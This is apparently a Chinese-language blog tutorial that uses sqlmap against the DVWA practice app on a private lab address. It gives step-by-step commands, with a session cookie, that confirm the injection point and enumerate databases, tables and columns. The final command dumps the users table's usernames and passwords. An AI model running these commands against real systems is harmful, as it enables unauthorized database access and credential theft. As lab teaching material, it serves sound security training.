DVWA 之 sql注入+ sqlmap

一、漏洞概述

SQL(Structured Query Language)是一种结构化的查询语言,用于与数据库进行交互并能够被数据库解析。SQL注入即是指web应用程序对用户输入数据的合法性过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,来实执行非授权的任意查询,从而得到相应的数据信息。

二、工具

firefox,sqlmap

三、测试过程

1、首先我们进入界面,随意输入user id进行测试,然后按F12获取提交时的url(或者使用抓包工具抓取):

DVWA 之 sql注入+ sqlmap

DVWA 之 sql注入+ sqlmap

URL:http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

2、使用sqlmap检测是否存在注入点

输入命令 :

python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#"

 

DVWA 之 sql注入+ sqlmap

可以看到对获取到的url进行检测后,会302重定向到登录的url,说明我们检测的url必须带有登录权限才能验证,因此我们的命令中需要带上登录dvwa后的cookie信息。

调整命令后再次检测:

python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" --batch

 

DVWA 之 sql注入+ sqlmap

3、查看当前链接的数据库

输入命令

python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" --batch --current-db

 

DVWA 之 sql注入+ sqlmap

4、获取当前数据库中的所有数据表

输入命令:

python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa --tables

 

DVWA 之 sql注入+ sqlmap

5、我们查看user表中的所有列

输入命令

python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa -T users --columns

 

DVWA 之 sql注入+ sqlmap

可以很明显的看出user和password是我们需要的信息

6、导出指定数据表中指定的列

输入命令

python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa -T users -C "user,password" --dump

 

DVWA 之 sql注入+ sqlmap

现在我们只要任取一组在登录页面验证即可。

DVWA 之 sql注入+ sqlmap

上一篇:Mysql大厂高频面试题


下一篇:数据库堵塞和死锁详解